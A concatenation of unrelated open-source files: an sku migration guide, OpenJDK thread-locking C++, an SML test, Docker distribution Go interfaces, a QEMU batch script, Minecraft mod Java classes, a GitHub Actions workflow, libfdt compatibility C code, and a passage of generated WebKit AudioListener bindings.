If you are utilizing dynamic imports in your app, you may want to consider migrating them to be [loadable-components](https://www.smooth-code.com/open-source/loadable-components/). Dynamic imports should continue to work as before but you may receive benefits by utilizing `loadable`.
See [Code splitting](./docs/code-splitting) for more info on how to do this.
## SkuProvider
The `SkuProvider` is a React component that needs to be rendered at the very top level of the app. This only needs to be done as part of the [render](./docs/building-the-app#render) or [server](./docs/building-the-app#server) entry (depending on the app type), it is **not** required for the [client](./docs/building-the-app#client) entry.
There are further updates to the SSR render API. [See here](#rendercallback).
### Render entry example
```diff
import React from 'react';
import { renderToString } from 'react-dom/server';
import App from './App';
export default {
- renderApp: ({ environment, site, route }) =>
+ renderApp: ({ SkuProvider, environment, site, route }) =>
renderToString(
+ <SkuProvider>
<App environment={environment} site={site} route={route} />
+ </SkuProvider>
),
renderDocument: ({ app, bodyTags, headTags }) => `
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>My Awesome Project</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
${headTags}
</head>
<body>
<div id="app">${app}</div>
${bodyTags}
</body>
</html>
`
};
```
## Client entry
The client entry should now export a function rather than hydrating the app immediately.
```diff
import React from 'react';
import { hydrate } from 'react-dom';
import App from './App/App';
+export default () => {
hydrate(<App />, document.getElementById('app'));
+};
```
> Statically rendered apps should checkout the new [provideClientContext](../docs/static-rendering.md#provideclientcontext) feature, for passing config and other state from render to the client.
## Storybook
Any imports from `sku/storybook` must be changed to `sku/@storybook/react`:
```diff
-import { storiesOf } from 'sku/storybook';
+import { storiesOf } from 'sku/@storybook/react';
```
## **Static render apps**
### Route specific entries
Route specific entries have been removed in favour of `loadable-components`.
```diff
module.exports = {
routes: [
{
route: '/',
name: 'home',
- entry: './src/home'
}
]
};
```
If you were utilizing the old route entry behaviour, read through [Code splitting](./docs/code-splitting) and checkout the [code splitting by route example](./docs/code-splitting#code-splitting-by-route). If you still have any concerns please contact #sku-support for help.
### devTransformOutputPath
The `devTransformOutputPath` option in sku config has been removed. If you were using it before please contact the #sku-support channel.
## **SSR apps**
### renderCallback
The `renderCallback` API has changed due to the new way sku renders your script/style tags. `bodyTags` and `headTags` are now the functions `getBodyTags` and `getHeadTags` respectively. Also, they are now passed in per request with the `SkuProvider`, rather than at startup time.
_**WARNING:** `getBodyTags` and `getHeadTags` must be called **after** `renderToString`!_
```diff
-export default ({ headTags, bodyTags }) => ({
+export default () => ({
- renderCallback: (req, res) => {
+ renderCallback: ({ SkuProvider, getBodyTags, getHeadTags }, req, res) => {
const app = renderToString(
+ <SkuProvider>
<App />
+ </SkuProvider>
);
res.send(
- template({ headTags, bodyTags, app })
+ template({ headTags: getHeadTags(), bodyTags: getBodyTags(), app })
);
}
});
```
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2001, 2013, Oracle and/or its affiliates. All rights reserved.
* Copyright (c) 2012, 2014 SAP SE. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*
*/
#include "precompiled.hpp"
#include "runtime/threadCritical.hpp"
#include "runtime/thread.inline.hpp"
// put OS-includes here
# include <pthread.h>
//
// See threadCritical.hpp for details of this class.
//
static pthread_t tc_owner = 0;
static pthread_mutex_t tc_mutex = PTHREAD_MUTEX_INITIALIZER;
static int tc_count = 0;
ThreadCritical::ThreadCritical() {
pthread_t self = pthread_self();
if (self != tc_owner) {
int ret = pthread_mutex_lock(&tc_mutex);
guarantee(ret == 0, "fatal error with pthread_mutex_lock()");
assert(tc_count == 0, "Lock acquired with illegal reentry count.");
tc_owner = self;
}
tc_count++;
}
ThreadCritical::~ThreadCritical() {
assert(tc_owner == pthread_self(), "must have correct owner");
assert(tc_count > 0, "must have correct count");
tc_count--;
if (tc_count == 0) {
tc_owner = 0;
int ret = pthread_mutex_unlock(&tc_mutex);
guarantee(ret == 0, "fatal error with pthread_mutex_unlock()");
}
}
| {
"pile_set_name": "Github"
} |
(* Some more cases of polymorphism conversion. *)
(* This changes the polymorphism at some level. *)
structure S: sig type 'a t val x: 'a t val f : 'a t -> int val g: int -> 'a t end =
struct
type 'a t = int
val x: 'a t = 1
fun f (n: int): 'a t = n (* int -> 'a t*)
fun g (x :'a t): int = x (* 'a t -> int *)
end;
if S.x = 1 then () else raise Fail "Error";
if S.f S.x = 1 then () else raise Fail "Error";
(* Slightly different version that completely hides the relationship with int. *)
structure S:> sig type 'a t val x: 'a t val f : 'a t -> int val g: int -> 'a t end =
struct
type 'a t = int
val x: 'a t = 1
fun f (n: int): 'a t = n (* int -> 'a t*)
fun g (x :'a t): int = x (* 'a t -> int *)
end;
val x = S.x;
if S.f x = 1 then () else raise Fail "Error";
if S.f S.x = 1 then () else raise Fail "Error";
(* The signature adds polymorphism to a monomorphic function. *)
structure Dispatch:
sig
type 'a union
val Char : word -> 'a union;
end =
struct
type 'a union = word
fun Char (x:word) : 'a union = x;
end;
| {
"pile_set_name": "Github"
} |
package distribution
import (
"context"
"errors"
"fmt"
"io"
"net/http"
"time"
"github.com/docker/distribution/reference"
"github.com/opencontainers/go-digest"
"github.com/opencontainers/image-spec/specs-go/v1"
)
var (
// ErrBlobExists returned when blob already exists
ErrBlobExists = errors.New("blob exists")
// ErrBlobDigestUnsupported when blob digest is an unsupported version.
ErrBlobDigestUnsupported = errors.New("unsupported blob digest")
// ErrBlobUnknown when blob is not found.
ErrBlobUnknown = errors.New("unknown blob")
// ErrBlobUploadUnknown returned when upload is not found.
ErrBlobUploadUnknown = errors.New("blob upload unknown")
// ErrBlobInvalidLength returned when the blob has an expected length on
// commit, meaning mismatched with the descriptor or an invalid value.
ErrBlobInvalidLength = errors.New("blob invalid length")
)
// ErrBlobInvalidDigest returned when digest check fails.
type ErrBlobInvalidDigest struct {
Digest digest.Digest
Reason error
}
func (err ErrBlobInvalidDigest) Error() string {
return fmt.Sprintf("invalid digest for referenced layer: %v, %v",
err.Digest, err.Reason)
}
// ErrBlobMounted returned when a blob is mounted from another repository
// instead of initiating an upload session.
type ErrBlobMounted struct {
From reference.Canonical
Descriptor Descriptor
}
func (err ErrBlobMounted) Error() string {
return fmt.Sprintf("blob mounted from: %v to: %v",
err.From, err.Descriptor)
}
// Descriptor describes targeted content. Used in conjunction with a blob
// store, a descriptor can be used to fetch, store and target any kind of
// blob. The struct also describes the wire protocol format. Fields should
// only be added but never changed.
type Descriptor struct {
// MediaType describe the type of the content. All text based formats are
// encoded as utf-8.
MediaType string `json:"mediaType,omitempty"`
// Size in bytes of content.
Size int64 `json:"size,omitempty"`
// Digest uniquely identifies the content. A byte stream can be verified
// against this digest.
Digest digest.Digest `json:"digest,omitempty"`
// URLs contains the source URLs of this content.
URLs []string `json:"urls,omitempty"`
// Annotations contains arbitrary metadata relating to the targeted content.
Annotations map[string]string `json:"annotations,omitempty"`
// Platform describes the platform which the image in the manifest runs on.
// This should only be used when referring to a manifest.
Platform *v1.Platform `json:"platform,omitempty"`
// NOTE: Before adding a field here, please ensure that all
// other options have been exhausted. Much of the type relationships
// depend on the simplicity of this type.
}
// Descriptor returns the descriptor, to make it satisfy the Describable
// interface. Note that implementations of Describable are generally objects
// which can be described, not simply descriptors; this exception is in place
// to make it more convenient to pass actual descriptors to functions that
// expect Describable objects.
func (d Descriptor) Descriptor() Descriptor {
return d
}
// BlobStatter makes blob descriptors available by digest. The service may
// provide a descriptor of a different digest if the provided digest is not
// canonical.
type BlobStatter interface {
// Stat provides metadata about a blob identified by the digest. If the
// blob is unknown to the describer, ErrBlobUnknown will be returned.
Stat(ctx context.Context, dgst digest.Digest) (Descriptor, error)
}
// BlobDeleter enables deleting blobs from storage.
type BlobDeleter interface {
Delete(ctx context.Context, dgst digest.Digest) error
}
// BlobEnumerator enables iterating over blobs from storage
type BlobEnumerator interface {
Enumerate(ctx context.Context, ingester func(dgst digest.Digest) error) error
}
// BlobDescriptorService manages metadata about a blob by digest. Most
// implementations will not expose such an interface explicitly. Such mappings
// should be maintained by interacting with the BlobIngester. Hence, this is
// left off of BlobService and BlobStore.
type BlobDescriptorService interface {
BlobStatter
// SetDescriptor assigns the descriptor to the digest. The provided digest and
// the digest in the descriptor must map to identical content but they may
// differ on their algorithm. The descriptor must have the canonical
// digest of the content and the digest algorithm must match the
// annotators canonical algorithm.
//
// Such a facility can be used to map blobs between digest domains, with
// the restriction that the algorithm of the descriptor must match the
// canonical algorithm (ie sha256) of the annotator.
SetDescriptor(ctx context.Context, dgst digest.Digest, desc Descriptor) error
// Clear enables descriptors to be unlinked
Clear(ctx context.Context, dgst digest.Digest) error
}
// BlobDescriptorServiceFactory creates middleware for BlobDescriptorService.
type BlobDescriptorServiceFactory interface {
BlobAccessController(svc BlobDescriptorService) BlobDescriptorService
}
// ReadSeekCloser is the primary reader type for blob data, combining
// io.ReadSeeker with io.Closer.
type ReadSeekCloser interface {
io.ReadSeeker
io.Closer
}
// BlobProvider describes operations for getting blob data.
type BlobProvider interface {
// Get returns the entire blob identified by digest along with the descriptor.
Get(ctx context.Context, dgst digest.Digest) ([]byte, error)
// Open provides a ReadSeekCloser to the blob identified by the provided
// descriptor. If the blob is not known to the service, an error will be
// returned.
Open(ctx context.Context, dgst digest.Digest) (ReadSeekCloser, error)
}
// BlobServer can serve blobs via http.
type BlobServer interface {
// ServeBlob attempts to serve the blob, identified by dgst, via http. The
// service may decide to redirect the client elsewhere or serve the data
// directly.
//
// This handler only issues successful responses, such as 2xx or 3xx,
// meaning it serves data or issues a redirect. If the blob is not
// available, an error will be returned and the caller may still issue a
// response.
//
// The implementation may serve the same blob from a different digest
// domain. The appropriate headers will be set for the blob, unless they
// have already been set by the caller.
ServeBlob(ctx context.Context, w http.ResponseWriter, r *http.Request, dgst digest.Digest) error
}
// BlobIngester ingests blob data.
type BlobIngester interface {
// Put inserts the content p into the blob service, returning a descriptor
// or an error.
Put(ctx context.Context, mediaType string, p []byte) (Descriptor, error)
// Create allocates a new blob writer to add a blob to this service. The
// returned handle can be written to and later resumed using an opaque
// identifier. With this approach, one can Close and Resume a BlobWriter
// multiple times until the BlobWriter is committed or cancelled.
Create(ctx context.Context, options ...BlobCreateOption) (BlobWriter, error)
// Resume attempts to resume a write to a blob, identified by an id.
Resume(ctx context.Context, id string) (BlobWriter, error)
}
// BlobCreateOption is a general extensible function argument for blob creation
// methods. A BlobIngester may choose to honor any or none of the given
// BlobCreateOptions, which can be specific to the implementation of the
// BlobIngester receiving them.
// TODO (brianbland): unify this with ManifestServiceOption in the future
type BlobCreateOption interface {
Apply(interface{}) error
}
// CreateOptions is a collection of blob creation modifiers relevant to general
// blob storage intended to be configured by the BlobCreateOption.Apply method.
type CreateOptions struct {
Mount struct {
ShouldMount bool
From reference.Canonical
// Stat allows to pass precalculated descriptor to link and return.
// Blob access check will be skipped if set.
Stat *Descriptor
}
}
// BlobWriter provides a handle for inserting data into a blob store.
// Instances should be obtained from BlobWriteService.Writer and
// BlobWriteService.Resume. If supported by the store, a writer can be
// recovered with the id.
type BlobWriter interface {
io.WriteCloser
io.ReaderFrom
// Size returns the number of bytes written to this blob.
Size() int64
// ID returns the identifier for this writer. The ID can be used with the
// Blob service to later resume the write.
ID() string
// StartedAt returns the time this blob write was started.
StartedAt() time.Time
// Commit completes the blob writer process. The content is verified
// against the provided provisional descriptor, which may result in an
// error. Depending on the implementation, written data may be validated
// against the provisional descriptor fields. If MediaType is not present,
// the implementation may reject the commit or assign "application/octet-
// stream" to the blob. The returned descriptor may have a different
// digest depending on the blob store, referred to as the canonical
// descriptor.
Commit(ctx context.Context, provisional Descriptor) (canonical Descriptor, err error)
// Cancel ends the blob write without storing any data and frees any
// associated resources. Any data written thus far will be lost. Cancel
// implementations should allow multiple calls even after a commit that
// result in a no-op. This allows use of Cancel in a defer statement,
// increasing the assurance that it is correctly called.
Cancel(ctx context.Context) error
}
// BlobService combines the operations to access, read and write blobs. This
// can be used to describe remote blob services.
type BlobService interface {
BlobStatter
BlobProvider
BlobIngester
}
// BlobStore represent the entire suite of blob related operations. Such an
// implementation can access, read, write, delete and serve blobs.
type BlobStore interface {
BlobService
BlobServer
BlobDeleter
}
| {
"pile_set_name": "Github"
} |
REM Start qemu on windows.
@ECHO OFF
REM SDL_VIDEODRIVER=directx is faster than windib. But keyboard cannot work well.
SET SDL_VIDEODRIVER=windib
REM SDL_AUDIODRIVER=waveout or dsound can be used. Only if QEMU_AUDIO_DRV=sdl.
SET SDL_AUDIODRIVER=dsound
REM QEMU_AUDIO_DRV=dsound or fmod or sdl or none can be used. See qemu -audio-help.
SET QEMU_AUDIO_DRV=dsound
REM QEMU_AUDIO_LOG_TO_MONITOR=1 displays log messages in QEMU monitor.
SET QEMU_AUDIO_LOG_TO_MONITOR=0
REM PCI-based PC(default): -M pc
REM ISA-based PC : -M isapc
REM -M isapc is added for NE2000 ISA card.
qemu-system-x86_64.exe -L . -m 128 -hda linux.img -soundhw sb16,es1370 -localtime -M pc
| {
"pile_set_name": "Github"
} |
package com.simibubi.create.content.contraptions.relays.advanced.sequencer;
import com.simibubi.create.AllBlocks;
import com.simibubi.create.foundation.gui.AbstractSimiScreen;
import com.simibubi.create.foundation.gui.AllGuiTextures;
import com.simibubi.create.foundation.gui.GuiGameElement;
import com.simibubi.create.foundation.gui.widgets.ScrollInput;
import com.simibubi.create.foundation.gui.widgets.SelectionScrollInput;
import com.simibubi.create.foundation.networking.AllPackets;
import com.simibubi.create.foundation.utility.Lang;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.ListNBT;
import net.minecraft.util.math.BlockPos;
import java.util.Vector;
public class SequencedGearshiftScreen extends AbstractSimiScreen {
private final ItemStack renderedItem = AllBlocks.SEQUENCED_GEARSHIFT.asStack();
private final AllGuiTextures background = AllGuiTextures.SEQUENCER;
private final String title = Lang.translate("gui.sequenced_gearshift.title");
private ListNBT compareTag;
private Vector<Instruction> instructions;
private BlockPos pos;
private Vector<Vector<ScrollInput>> inputs;
public SequencedGearshiftScreen(SequencedGearshiftTileEntity te) {
this.instructions = te.instructions;
this.pos = te.getPos();
compareTag = Instruction.serializeAll(instructions);
}
@Override
protected void init() {
setWindowSize(background.width + 50, background.height);
super.init();
widgets.clear();
inputs = new Vector<>(5);
for (int row = 0; row < inputs.capacity(); row++)
inputs.add(new Vector<>(3));
for (int row = 0; row < instructions.size(); row++)
initInputsOfRow(row);
}
public void initInputsOfRow(int row) {
int x = guiLeft + 28;
int y = guiTop + 29;
int rowHeight = 18;
Vector<ScrollInput> rowInputs = inputs.get(row);
rowInputs.forEach(widgets::remove);
rowInputs.clear();
int index = row;
Instruction instruction = instructions.get(row);
ScrollInput type =
new SelectionScrollInput(x, y + rowHeight * row, 50, 14).forOptions(SequencerInstructions.getOptions())
.calling(state -> instructionUpdated(index, state))
.setState(instruction.instruction.ordinal())
.titled(Lang.translate("gui.sequenced_gearshift.instruction"));
ScrollInput value =
new ScrollInput(x + 54, y + rowHeight * row, 30, 14).calling(state -> instruction.value = state);
ScrollInput direction = new SelectionScrollInput(x + 88, y + rowHeight * row, 18, 14)
.forOptions(InstructionSpeedModifiers.getOptions())
.calling(state -> instruction.speedModifier = InstructionSpeedModifiers.values()[state])
.titled(Lang.translate("gui.sequenced_gearshift.speed"));
rowInputs.add(type);
rowInputs.add(value);
rowInputs.add(direction);
widgets.addAll(rowInputs);
updateParamsOfRow(row);
}
public void updateParamsOfRow(int row) {
Instruction instruction = instructions.get(row);
Vector<ScrollInput> rowInputs = inputs.get(row);
SequencerInstructions def = instruction.instruction;
boolean hasValue = def.hasValueParameter;
boolean hasModifier = def.hasSpeedParameter;
ScrollInput value = rowInputs.get(1);
value.active = value.visible = hasValue;
if (hasValue)
value.withRange(1, def.maxValue + 1)
.titled(Lang.translate(def.parameterKey))
.withShiftStep(def.shiftStep)
.setState(instruction.value)
.onChanged();
if (def == SequencerInstructions.WAIT) {
value.withStepFunction(context -> {
int v = context.currentValue;
if (!context.forward)
v--;
if (v < 20)
return context.shift ? 20 : 1;
return context.shift ? 100 : 20;
});
} else
value.withStepFunction(value.standardStep());
ScrollInput modifier = rowInputs.get(2);
modifier.active = modifier.visible = hasModifier;
if (hasModifier)
modifier.setState(instruction.speedModifier.ordinal());
}
@Override
protected void renderWindow(int mouseX, int mouseY, float partialTicks) {
int hFontColor = 0xD3CBBE;
background.draw(this, guiLeft, guiTop);
for (int row = 0; row < instructions.capacity(); row++) {
AllGuiTextures toDraw = AllGuiTextures.SEQUENCER_EMPTY;
int yOffset = toDraw.height * row;
if (row < instructions.size()) {
Instruction instruction = instructions.get(row);
SequencerInstructions def = instruction.instruction;
def.background.draw(guiLeft + 14, guiTop + 29 + yOffset);
label(32, 6 + yOffset, Lang.translate(def.translationKey));
if (def.hasValueParameter) {
String text = def.formatValue(instruction.value);
int stringWidth = font.getStringWidth(text);
label(85 + (12 - stringWidth / 2), 6 + yOffset, text);
}
if (def.hasSpeedParameter)
label(120, 6 + yOffset, instruction.speedModifier.label);
continue;
}
toDraw.draw(guiLeft + 14, guiTop + 29 + yOffset);
}
font.drawStringWithShadow(title, guiLeft - 3 + (background.width - font.getStringWidth(title)) / 2, guiTop + 10,
hFontColor);
GuiGameElement.of(renderedItem)
.at(guiLeft + background.width + 20, guiTop + 50)
.scale(5)
.render();
}
private void label(int x, int y, String text) {
font.drawStringWithShadow(text, guiLeft + x, guiTop + 26 + y, 0xFFFFEE);
}
public void sendPacket() {
ListNBT serialized = Instruction.serializeAll(instructions);
if (serialized.equals(compareTag))
return;
AllPackets.channel.sendToServer(new ConfigureSequencedGearshiftPacket(pos, serialized));
}
@Override
public void removed() {
sendPacket();
}
private void instructionUpdated(int index, int state) {
SequencerInstructions newValue = SequencerInstructions.values()[state];
instructions.get(index).instruction = newValue;
instructions.get(index).value = newValue.defaultValue;
updateParamsOfRow(index);
if (newValue == SequencerInstructions.END) {
for (int i = instructions.size() - 1; i > index; i--) {
instructions.remove(i);
Vector<ScrollInput> rowInputs = inputs.get(i);
rowInputs.forEach(widgets::remove);
rowInputs.clear();
}
} else {
if (index + 1 < instructions.capacity() && index + 1 == instructions.size()) {
instructions.add(new Instruction(SequencerInstructions.END));
initInputsOfRow(index + 1);
}
}
}
}
| {
"pile_set_name": "Github"
} |
name: polls
on:
issue_comment:
types: [created, edited]
issues:
types: [opened, edited]
jobs:
polls:
runs-on: ubuntu-latest
steps:
- uses: imjohnbo/gh-polls-bot-action@master
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
| {
"pile_set_name": "Github"
} |
package cn.academy.event.ability;
import cn.academy.ability.Skill;
import net.minecraftforge.fml.common.eventhandler.Cancelable;
import net.minecraft.entity.Entity;
import net.minecraft.entity.player.EntityPlayer;
/**
* If this event is canceled, a reflection to this attack event happens.
*/
@Cancelable
public class ReflectEvent extends AbilityEvent {
public final Skill skill;
public final Entity target;
public ReflectEvent(EntityPlayer player,
Skill _skill,
Entity _target) {
super(player);
skill = _skill;
target = _target;
}
} | {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2006 David Gibson, IBM Corporation.
*
* This file is part of libxl, and was originally taken from libfdt.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published
* by the Free Software Foundation; version 2.1 only. with the special
* exception on linking described in file LICENSE.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* Additionally, this particular file is dual licensed. That is,
* alternatively, at your option:
*
* Redistribution and use in source and binary forms, with or
* without modification, are permitted provided that the following
* conditions are met:
*
* 1. Redistributions of source code must retain the above
* copyright notice, this list of conditions and the following
* disclaimer.
* 2. Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
* CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* Note that this applies only to this file, and other files with a
* similar notice. Also, note that when the same code is distributed
* along with the rest of libxl, you must comply with the terms of the
* LGPLv2.1 for the whole of libxl including this file.
*
* The intent is to permit, in particular, upstream libfdt to
* incorporate improvements to this file within upstream libfdt. At
* the time of writing, upstream libfdt is dual licensed: 2-clause BSD
* (as above) and GPLv2-or-later. The 2-clause BSD licence is
* compatible with both GPLv2-or-later and LGPLv2.1-only; this permits
* copying in both directions, and the optional licence upgrade to a
* copyleft licence by libdft upstream or the Xen Project,
* respectively.
*/
#include <libfdt.h>
#include "libxl_libfdt_compat.h"
#ifndef HAVE_FDT_FIRST_SUBNODE
_hidden int fdt_first_subnode(const void *fdt, int offset)
{
int depth = 0;
offset = fdt_next_node(fdt, offset, &depth);
if (offset < 0 || depth != 1)
return -FDT_ERR_NOTFOUND;
return offset;
}
#endif
#ifndef HAVE_FDT_NEXT_SUBNODE
_hidden int fdt_next_subnode(const void *fdt, int offset)
{
int depth = 1;
/*
* With respect to the parent, the depth of the next subnode will be
* the same as the last.
*/
do {
offset = fdt_next_node(fdt, offset, &depth);
if (offset < 0 || depth < 1)
return -FDT_ERR_NOTFOUND;
} while (depth > 1);
return offset;
}
#endif
| {
"pile_set_name": "Github"
} |
/*
This file is part of the WebKit open source project.
This file has been generated by generate-bindings.pl. DO NOT MODIFY!
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public
License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public License
along with this library; see the file COPYING.LIB. If not, write to
the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, USA.
*/
#include "config.h"
#if ENABLE(WEB_AUDIO)
#include "JSAudioListener.h"
#include "AudioListener.h"
#include "ExceptionCode.h"
#include "JSDOMBinding.h"
#include <runtime/Error.h>
#include <wtf/GetPtr.h>
using namespace JSC;
namespace WebCore {
ASSERT_CLASS_FITS_IN_CELL(JSAudioListener);
/* Hash table */
#if ENABLE(JIT)
#define THUNK_GENERATOR(generator) , generator
#else
#define THUNK_GENERATOR(generator)
#endif
static const HashTableValue JSAudioListenerTableValues[4] =
{
{ "dopplerFactor", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAudioListenerDopplerFactor), (intptr_t)setJSAudioListenerDopplerFactor THUNK_GENERATOR(0) },
{ "speedOfSound", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAudioListenerSpeedOfSound), (intptr_t)setJSAudioListenerSpeedOfSound THUNK_GENERATOR(0) },
{ "constructor", DontEnum | ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsAudioListenerConstructor), (intptr_t)0 THUNK_GENERATOR(0) },
{ 0, 0, 0, 0 THUNK_GENERATOR(0) }
};
#undef THUNK_GENERATOR
static JSC_CONST_HASHTABLE HashTable JSAudioListenerTable = { 8, 7, JSAudioListenerTableValues, 0 };
/* Hash table for constructor */
#if ENABLE(JIT)
#define THUNK_GENERATOR(generator) , generator
#else
#define THUNK_GENERATOR(generator)
#endif
static const HashTableValue JSAudioListenerConstructorTableValues[1] =
{
{ 0, 0, 0, 0 THUNK_GENERATOR(0) }
};
#undef THUNK_GENERATOR
static JSC_CONST_HASHTABLE HashTable JSAudioListenerConstructorTable = { 1, 0, JSAudioListenerConstructorTableValues, 0 };
class JSAudioListenerConstructor : public DOMConstructorObject {
public:
JSAudioListenerConstructor(JSC::ExecState*, JSC::Structure*, JSDOMGlobalObject*);
virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier&, JSC::PropertySlot&);
virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
static const JSC::ClassInfo s_info;
static JSC::Structure* createStructure(JSC::JSGlobalData& globalData, JSC::JSValue prototype)
{
return JSC::Structure::create(globalData, prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount, &s_info);
}
protected:
static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | JSC::ImplementsHasInstance | DOMConstructorObject::StructureFlags;
};
const ClassInfo JSAudioListenerConstructor::s_info = { "AudioListenerConstructor", &DOMConstructorObject::s_info, &JSAudioListenerConstructorTable, 0 };
JSAudioListenerConstructor::JSAudioListenerConstructor(ExecState* exec, Structure* structure, JSDOMGlobalObject* globalObject)
: DOMConstructorObject(structure, globalObject)
{
ASSERT(inherits(&s_info));
putDirect(exec->globalData(), exec->propertyNames().prototype, JSAudioListenerPrototype::self(exec, globalObject), DontDelete | ReadOnly);
}
bool JSAudioListenerConstructor::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
{
return getStaticValueSlot<JSAudioListenerConstructor, JSDOMWrapper>(exec, &JSAudioListenerConstructorTable, this, propertyName, slot);
}
bool JSAudioListenerConstructor::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
{
return getStaticValueDescriptor<JSAudioListenerConstructor, JSDOMWrapper>(exec, &JSAudioListenerConstructorTable, this, propertyName, descriptor);
}
/* Hash table for prototype */
#if ENABLE(JIT)
#define THUNK_GENERATOR(generator) , generator
#else
#define THUNK_GENERATOR(generator)
#endif
static const HashTableValue JSAudioListenerPrototypeTableValues[4] =
{
{ "setPosition", DontDelete | Function, (intptr_t)static_cast<NativeFunction>(jsAudioListenerPrototypeFunctionSetPosition), (intptr_t)3 THUNK_GENERATOR(0) },
{ "setOrientation", DontDelete | Function, (intptr_t)static_cast<NativeFunction>(jsAudioListenerPrototypeFunctionSetOrientation), (intptr_t)6 THUNK_GENERATOR(0) },
{ "setVelocity", DontDelete | Function, (intptr_t)static_cast<NativeFunction>(jsAudioListenerPrototypeFunctionSetVelocity), (intptr_t)3 THUNK_GENERATOR(0) },
{ 0, 0, 0, 0 THUNK_GENERATOR(0) }
};
#undef THUNK_GENERATOR
static JSC_CONST_HASHTABLE HashTable JSAudioListenerPrototypeTable = { 8, 7, JSAudioListenerPrototypeTableValues, 0 };
const ClassInfo JSAudioListenerPrototype::s_info = { "AudioListenerPrototype", &JSC::JSObjectWithGlobalObject::s_info, &JSAudioListenerPrototypeTable, 0 };
JSObject* JSAudioListenerPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
{
return getDOMPrototype<JSAudioListener>(exec, globalObject);
}
bool JSAudioListenerPrototype::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
{
return getStaticFunctionSlot<JSObject>(exec, &JSAudioListenerPrototypeTable, this, propertyName, slot);
}
bool JSAudioListenerPrototype::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
{
return getStaticFunctionDescriptor<JSObject>(exec, &JSAudioListenerPrototypeTable, this, propertyName, descriptor);
}
const ClassInfo JSAudioListener::s_info = { "AudioListener", &JSDOMWrapper::s_info, &JSAudioListenerTable, 0 };
JSAudioListener::JSAudioListener(Structure* structure, JSDOMGlobalObject* globalObject, PassRefPtr<AudioListener> impl)
: JSDOMWrapper(structure, globalObject)
, m_impl(impl)
{
ASSERT(inherits(&s_info));
}
JSObject* JSAudioListener::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
{
return new (exec) JSAudioListenerPrototype(exec->globalData(), globalObject, JSAudioListenerPrototype::createStructure(globalObject->globalData(), globalObject->objectPrototype()));
}
bool JSAudioListener::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
{
return getStaticValueSlot<JSAudioListener, Base>(exec, &JSAudioListenerTable, this, propertyName, slot);
}
bool JSAudioListener::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
{
return getStaticValueDescriptor<JSAudioListener, Base>(exec, &JSAudioListenerTable, this, propertyName, descriptor);
}
JSValue jsAudioListenerDopplerFactor(ExecState* exec, JSValue slotBase, const Identifier&)
{
